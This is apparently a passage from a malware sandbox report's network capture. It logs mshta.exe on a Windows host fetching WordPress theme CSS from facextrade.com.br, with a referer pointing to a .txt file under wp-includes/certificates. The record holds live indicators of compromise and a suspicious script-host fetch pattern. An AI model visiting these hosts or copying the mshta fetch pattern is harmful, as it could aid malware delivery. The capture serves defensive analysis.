37 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 39 30 30 29 3b 0a 2e 77 72 61 70 20 7b 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 20 7d 0a 68 31 2c 20 68 32 2c 20 68 33 2c 20 68 34 2c 20 68 35 2c 20 68 36 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 20 7d 0a 68 32 20 7b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 31 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 3b 0a 7d 0a 68 32 20 73 74 72 6f 6e 67 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 68 33 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 61 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 7d 0a 61 3a 68 6f 76 65 72 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 20 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 09 74 6f 70 3a 30 3b 0a 09 70 61 64 64 69 6e 67 3a 32 33 70 78 20 30 20 32 30 70 78 3b 0a 09 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 2e 68 65 61 64 65 72 20 7b 0a 09 09 77 69 64 74 68 3a 61 75 74 6f 3b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 0a 09 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 7d 0a 7d 0a 2e 68 65 61 64 65 72 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 27 27 3b 0a 09 70 6f 73 69 74 69 6f 6e Data Ascii: @import url("../CherryFramework/style.css");@import url(//fonts.googleapis.com/css?family=Lato:100);@import url(//fonts.googleapis.com/css?family=Lato:300);@import url(//fonts.googleapis.com/css?family=Lato:400);@import url(//fonts.googleapis.com/css?family=Lato:700);@import url(//fonts.googleapis.com/css?family=Lato:900);.wrap { overflow:hidden; }h1, h2, h3, h4, h5, h6 { margin-top:0; }h2 {font-weight:100 !important;text-shadow:0 0 0 rgba(0,0,0,0);}h2 strong { font-weight:900 !important; }h3 { font-weight:900 !important; }a {-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}a:hover { text-decoration:none; }.header {width:100%;position:absolute;top:0;padding:23px 0 20px;border:none;background:#fff;}@media (max-width: 767px) {.header {width:auto;padding-left:20px;padding-right:20px;position:relative !important;}}.header:after {content:'';position
Aug 16, 2022 11:49:52.504936934 CEST	630	IN	Data Raw: 3a 61 62 73 6f 6c 75 74 65 3b 0a 09 62 6f 74 74 6f 6d 3a 2d 31 33 70 78 3b 0a 09 6c 65 66 74 3a 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 31 33 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 Data Ascii: :absolute;bottom:-13px;left:0;width:100%;height:13px;background-repeat:repeat-x;background-image:url(images/header-bottom.png);}@media (max-width: 767px) {.header.isStuck { top:0 !important; }}.header.isStuck .logo a img {w
Aug 16, 2022 11:49:52.504960060 CEST	631	IN	Data Raw: 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 6e 61 76 2e 6e 61 76 5f 5f 70 72 69 6d 61 72 79 20 2e 73 66 2d 6d 65 6e 75 20 3e 6c 69 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e Data Ascii: l 0.5s ease;}.header nav.nav__primary .sf-menu >li {background:none;position:relative;float:left;display:inline-block;margin-right:30px;}.header nav.nav__primary .sf-menu >li >a {text-transform:uppercase;font-weight:700;bor
Aug 16, 2022 11:49:52.505014896 CEST	632	IN	Data Raw: 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 31 62 65 65 38 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 6e 61 76 2e 6e 61 76 5f 5f 70 72 69 6d 61 72 79 20 2e 73 66 2d 6d 65 6e 75 20 3e 6c 69 20 2e 73 75 62 2d 6d 65 6e 75 20 Data Ascii: olor:#fff;background:#21bee8;}.header nav.nav__primary .sf-menu >li .sub-menu li.menu-item-has-children > a:before {width:8px;height:40px;position:absolute;top:0;right:-8px;display:block;background:url("images/extra1.png") ce
Aug 16, 2022 11:49:52.505040884 CEST	634	IN	Data Raw: 2d 72 69 67 68 74 3a 36 35 70 78 3b 0a 09 7d 0a 7d 0a 2e 62 74 6e 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 33 33 33 33 33 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 Data Ascii: -right:65px;}}.btn:hover {color:#fff;background:#333333;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.btn:active {color:#fff;background:none;}.btn:
Aug 16, 2022 11:49:52.505115032 CEST	635	IN	Data Raw: 70 61 64 64 69 6e 67 3a 31 36 70 78 20 35 35 70 78 3b 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 66 33 39 63 31 32 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b Data Ascii: padding:16px 55px;text-shadow:none;border:1px solid #f39c12;box-shadow:none;text-shadow:none !important;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.rev
Aug 16, 2022 11:49:52.505157948 CEST	637	IN	Data Raw: 3a 6e 6f 6e 65 3b 0a 09 70 61 64 64 69 6e 67 3a 31 36 70 78 20 38 35 70 78 3b 0a 7d 0a 2e 6d 6f 72 65 62 74 6e 36 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 32 31 62 Data Ascii: :none;padding:16px 85px;}.morebtn6:hover {color:#fff;border:1px solid #21bee8;background:#21bee8;}.cherry_media_parallax_1 {opacity:0;filter:alpha(opacity=0);}.cherry_media_parallax_1 .parallax-content { padding:365px 0 250px
Aug 16, 2022 11:49:52.505213976 CEST	638	IN	Data Raw: 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 Data Ascii: bkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.cherry_media_parallax_1 .parallax_inner:before { display:none !important; }.cherry_fixed_parallax1 { overflow:hidden; }
Aug 16, 2022 11:49:52.505249977 CEST	639	IN	Data Raw: 5f 66 69 78 65 64 5f 70 61 72 61 6c 6c 61 78 34 20 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 68 33 20 7b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 0a 09 63 6f Data Ascii: _fixed_parallax4 .parallax-content h3 {margin-bottom:15px;text-align:left;color:#fff;}.cherry_fixed_parallax4 .parallax-content p { text-align:left; }.cherry_fixed_parallax4 .parallax-content .icon_type1 {margin:0 30px 38px 0;back
Aug 16, 2022 11:49:52.505295038 CEST	641	IN	Data Raw: 69 6e 2d 62 6f 74 74 6f 6d 3a 35 33 70 78 3b 0a 09 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 0a 7d 0a 2e 63 68 65 72 72 79 5f 66 69 78 65 64 5f 70 61 72 61 6c 6c 61 78 37 20 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 2e 6d 6f 72 65 62 Data Ascii: in-bottom:53px;color:inherit;}.cherry_fixed_parallax7 .parallax-content .morebtn6 {margin-top:50px;padding-left:90px;padding-right:90px;}.cherry_fixed_parallax8 .parallax-content {text-align:center;padding:60px 0 70px 0;}.che
Aug 16, 2022 11:49:52.744832039 CEST	643	IN	Data Raw: 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 39 70 78 3b 20 7d 0a 2e 65 78 74 72 61 5f 77 72 61 70 33 20 75 6c 20 6c 69 20 61 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 0a 09 63 Data Ascii: margin-bottom:9px; }.extra_wrap3 ul li a {font-size:14px;line-height:20px;color:#2ecc71;text-transform:uppercase;}.extra_wrap3 ul li a:hover { color:#fff; }.extra_wrap4 h3 { margin-bottom:30px; }.extra_wrap4 ul {margin:0;list-
Aug 16, 2022 11:49:52.991863966 CEST	713	OUT	GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:53.232928991 CEST	716	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:53 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:26:49 GMT ETag: "a514fe-3b24-58592cb795840" Accept-Ranges: bytes Content-Length: 15140 Connection: close Content-Type: text/css Data Raw: 2e 6d 70 2d 72 6f 77 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 32 30 70 78 3b 2a 7a 6f 6f 6d 3a 31 7d 2e 6d 70 2d 72 6f 77 3a 62 65 66 6f 72 65 2c 2e 6d 70 2d 72 6f 77 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 70 2d 72 6f 77 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 5b 63 6c 61 73 73 2a 3d 22 6d 70 2d 73 70 61 6e 22 5d 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 30 70 78 7d 2e 6d 70 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 39 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 32 7b 77 69 64 74 68 3a 39 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 31 7b 77 69 64 74 68 3a 38 36 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 30 7b 77 69 64 74 68 3a 37 38 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 39 7b 77 69 64 74 68 3a 37 30 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 38 7b 77 69 64 74 68 3a 36 32 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 37 7b 77 69 64 74 68 3a 35 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 36 7b 77 69 64 74 68 3a 34 36 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 35 7b 77 69 64 74 68 3a 33 38 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 34 7b 77 69 64 74 68 3a 33 30 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 33 7b 77 69 64 74 68 3a 32 32 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 32 7b 77 69 64 74 68 3a 31 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 7b 77 69 64 74 68 3a 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 30 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 32 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 34 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 32 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 34 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 70 78 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 7b 77 69 64 74 68 3a 31 30 30 25 3b 2a 7a 6f 6f 6d 3a 31 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 62 65 66 6f 72 65 2c 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 5b 63 6c 61 73 73 2a 3d 22 6d 70 2d 73 70 61 6e Data Ascii: .mp-row{margin-left:-20px;zoom:1}.mp-row:before,.mp-row:after{display:table;content:"";line-height:0}.mp-row:after{clear:both}[class="mp-span"]{float:left;min-height:1px;margin-left:20px}.mp-container{width:940px}.mp-span12{width:940px}.mp-span11{width:860px}.mp-span10{width:780px}.mp-span9{width:700px}.mp-span8{width:620px}.mp-span7{width:540px}.mp-span6{width:460px}.mp-span5{width:380px}.mp-span4{width:300px}.mp-span3{width:220px}.mp-span2{width:140px}.mp-span1{width:60px}.mp-offset12{margin-left:980px}.mp-offset11{margin-left:900px}.mp-offset10{margin-left:820px}.mp-offset9{margin-left:740px}.mp-offset8{margin-left:660px}.mp-offset7{margin-left:580px}.mp-offset6{margin-left:500px}.mp-offset5{margin-left:420px}.mp-offset4{margin-left:340px}.mp-offset3{margin-left:260px}.mp-offset2{margin-left:180px}.mp-offset1{margin-left:100px}.mp-row-fluid{width:100%;zoom:1;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mp-row-fluid:before,.mp-row-fluid:after{display:table;content:"";line-height:0}.mp-row-fluid:after{clear:both}.mp-row-fluid [class="mp-span

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.22	49194	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:52.707869053 CEST	642	OUT	GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:52.936398983 CEST	672	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:52 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:29:00 GMT ETag: "a53043-2458-58592d3483f00" Accept-Ranges: bytes Content-Length: 9304 Connection: close Content-Type: text/css Data Raw: 2f 2a 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 43 53 53 20 2a 2f 0a 2e 6d 66 70 2d 62 67 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 32 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 62 30 62 30 62 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 38 3b 0a 20 20 66 69 6c 74 65 72 3a 20 61 6c 70 68 61 28 6f 70 61 63 69 74 79 3d 38 30 29 3b 20 7d 0a 0a 2e 6d 66 70 2d 77 72 61 70 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 33 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 20 38 70 78 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 27 27 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 7d 0a 0a 2e 6d 66 70 2d 61 6c 69 67 6e 2d 74 6f 70 20 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 35 3b 20 7d 0a 0a 2e 6d 66 70 2d 69 6e 6c 69 6e 65 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 2c 0a 2e 6d 66 70 2d 61 6a 61 78 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 63 75 72 73 6f 72 3a 20 61 75 74 6f 3b 20 7d 0a 0a 2e 6d 66 70 2d 61 6a 61 78 2d 63 75 72 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 72 6f 67 72 65 73 73 3b 20 7d 0a 0a 2e 6d 66 70 2d 7a 6f 6f 6d 2d 6f 75 74 2d 63 75 72 2c 0a 2e 6d 66 70 2d 7a 6f 6f 6d 2d 6f 75 74 2d 63 75 72 20 Data Ascii: /* Magnific Popup CSS */.mfp-bg { top: 0; left: 0; width: 100%; height: 100%; z-index: 1042; overflow: hidden; position: fixed; background: #0b0b0b; opacity: 0.8; filter: alpha(opacity=80); }.mfp-wrap { top: 0; left: 0; width: 100%; height: 100%; z-index: 1043; position: fixed; outline: none !important; -webkit-backface-visibility: hidden; }.mfp-container { text-align: center; position: absolute; width: 100%; height: 100%; left: 0; top: 0; padding: 0 8px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; }.mfp-container:before { content: ''; display: inline-block; height: 100%; vertical-align: middle; }.mfp-align-top .mfp-container:before { display: none; }.mfp-content { position: relative; display: inline-block; vertical-align: middle; margin: 0 auto; text-align: left; z-index: 1045; }.mfp-inline-holder .mfp-content,.mfp-ajax-holder .mfp-content { width: 100%; cursor: auto; }.mfp-ajax-cur { cursor: progress; }.mfp-zoom-out-cur,.mfp-zoom-out-cur
Aug 16, 2022 11:49:52.936438084 CEST	673	IN	Data Raw: 2e 6d 66 70 2d 69 6d 61 67 65 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6c 6f 73 65 20 7b 0a 20 20 2f 2a 63 75 72 73 6f 72 3a 20 2d 6d 6f 7a 2d 7a 6f 6f 6d 2d 6f 75 74 3b 0a 20 20 63 75 72 73 6f 72 3a 20 2d 77 65 62 6b 69 74 2d 7a 6f 6f 6d 2d 6f Data Ascii: .mfp-image-holder .mfp-close { /cursor: -moz-zoom-out; cursor: -webkit-zoom-out; cursor: zoom-out;/ }.mfp-zoom { cursor: pointer; cursor: -webkit-zoom-in; cursor: -moz-zoom-in; cursor: zoom-in; }.mfp-auto-cursor .mfp-conten
Aug 16, 2022 11:49:52.936465979 CEST	674	IN	Data Raw: 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 42 61 73 6b 65 72 76 69 6c 6c 65 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 20 7d 0a 20 20 2e 6d 66 70 2d 63 6c 6f 73 65 3a 68 6f 76 Data Ascii: font-size: 28px; font-family: Arial, Baskerville, monospace; } .mfp-close:hover, .mfp-close:focus { opacity: 1; } .mfp-close:active { top: 1px; }.mfp-close-btn-in .mfp-close { color: #333333; }.mfp-image-holder .mfp-close,
Aug 16, 2022 11:49:52.936492920 CEST	676	IN	Data Raw: 67 68 74 3a 20 31 37 70 78 20 73 6f 6c 69 64 20 77 68 69 74 65 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 31 70 78 3b 20 7d 0a 20 20 2e 6d 66 70 2d 61 72 72 6f 77 2d 6c 65 66 74 3a 62 65 66 6f 72 65 2c 0a 20 20 2e 6d 66 70 2d 61 Data Ascii: ght: 17px solid white; margin-left: 31px; } .mfp-arrow-left:before, .mfp-arrow-left .mfp-b { margin-left: 25px; border-right: 27px solid #3f3f3f; }.mfp-arrow-right { right: 0; } .mfp-arrow-right:after, .mfp-arrow-right
Aug 16, 2022 11:49:52.936518908 CEST	677	IN	Data Raw: 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 2d 31 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 38 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 36 29 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a Data Ascii: ight: auto; z-index: -1; box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); background: #444444; }.mfp-figure { line-height: 0; }.mfp-bottom-bar { margin-top: -36px; position: absolute; top: 100%; left: 0; width: 100%; cursor: aut
Aug 16, 2022 11:49:52.936546087 CEST	679	IN	Data Raw: 69 6c 65 20 2e 6d 66 70 2d 63 6f 75 6e 74 65 72 20 7b 0a 20 20 20 20 72 69 67 68 74 3a 20 35 70 78 3b 0a 20 20 20 20 74 6f 70 3a 20 33 70 78 3b 20 7d 0a 0a 20 20 2e 6d 66 70 2d 69 6d 67 2d 6d 6f 62 69 6c 65 20 2e 6d 66 70 2d 63 6c 6f 73 65 20 7b Data Ascii: ile .mfp-counter { right: 5px; top: 3px; } .mfp-img-mobile .mfp-close { top: 0; right: 0; width: 35px; height: 35px; line-height: 35px; background: rgba(0, 0, 0, 0.6); position: fixed; text-align: cen
